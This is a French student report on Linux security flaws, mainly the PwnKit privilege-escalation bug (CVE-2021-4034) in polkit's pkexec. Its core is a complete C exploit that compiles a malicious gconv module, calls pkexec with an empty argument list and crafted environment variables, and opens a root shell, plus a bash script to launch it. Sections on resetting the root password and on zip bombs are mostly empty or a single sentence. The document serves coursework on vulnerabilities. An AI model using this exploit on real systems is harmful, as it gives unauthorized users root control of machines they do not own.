# SYSG5 : Exploitation de failles de sécurité LINUX

Antoine Ghigny - 56359

29/10/2022

## Contents



# 1 Dépassement de mémoire : Pwnkit

## 1.1 Origine de la faille

- Polkit est bibliothèque sur laquelle a été découvert cette vulnérabilité. Il a été créé à la base pour permettre aux dévelopeurs de réaliser des actions qui nécessitaient des privilèges élevés sur le système. On peut le comparer à sudo qui fait essentiellement la même chose côté utilisateur.

- Cette faille va s'intéresser à l'utilisation de la commande **pkexec** qui fait partie de la bibliothèque polkit. L'appel système pkexec est apparu en 2009 et inclus dans pratiquement toutes les distributions linux actuelles.

- Cette faille de sécurité est présente depuis 12 ans et récemment mise en évidence par l'équipe de recherche Qualys en février 2022. [1]

- Cette faille permet en n'importe quel attaquant qui possède un compte sur un système linux de devenir le root du système sans quasiment aucun effort.

## 1.2 Comment cela fonctionne ? (à compléter)

- **pkexec** est une commande commme les autres, on peut lui passer des arguments
- Mais il y a un gros problème dans la façon dont il va être implémentée, si l'argument argc est à la valeur NULL, le fonctionnement de pkexec va être déréglé.
- En manipulant des variables d'environnements et en créant des dossiers qui portent le même nom que ce qu'on va inscrire dans les variables d'environnement. Il est possible de charger un bout de code à un endroit contrôlé par l'attaquant.

## 1.3 Démonstration

### 1.3.1 Le code C (à modifier)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
   "#include <stdio.h>\n"
   "#include <stdlib.h>\n"
   "#include <unistd.h>\n\n"
   "void gconv() {}\n"
   "void gconv_init() {\n"
   "  setuid(0); setgid(0);\n"
   "  seteuid(0); setegid(0);\n"
   "  system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;"
   "  rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
   "  exit(0);\n"
   "}";

int main(int argc, char *argv[]) {
   FILE *fp;
   system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
   system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
   fp = fopen("pwnkit/pwnkit.c", "w");
   fprintf(fp, "%s", shell);
   fclose(fp);
   system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
   char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
   system("id");
   execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
```

### 1.3.2 Script qui permet d'exécuter la faille

```
#!/bin/bash
#NOM    : Demo
#OBJET  : réservé au makefile
#AUTEUR  : Antoine Ghigny - 563459
clear
C='\033[44m'
E='\033[32m\033[1m'
W='\033[31m\033[1m'
N='\033[0m'
clear
echo "Démonstration de la faille de sécurité permettant de passer en root"
echo "----------------------------------------"
echo -e "${C}             --> Enter pour continuer${N}"
read
sleep 1
echo -e "${E}Vous êtes actuellement l'utilisateur : ${N}"
echo
id
echo
echo -e "${E}Exécution du programme : ${N}"
echo
./exploit
```

# 2 Modifier le mot de passe administrateur sans le connaître

## 2.1 chroot

## 2.2 grub

# 3 Bombe zip

## 3.1 Qu'est-ce qu'une zip bomb ?

Une zip bomb est un fichier compressé de quelques MO qui contient énormément de données présente sous formes d'octets, ce qui va amener à saturer le disque dur. Le système va manquer de mémoire et se bloquer dans le processus

# References

[1] Director Bharat Jogi. Pwnkit: Local privilege escalation vulnerability discovered in polkit's pkexec (cve-2021-4034), Feb 2022.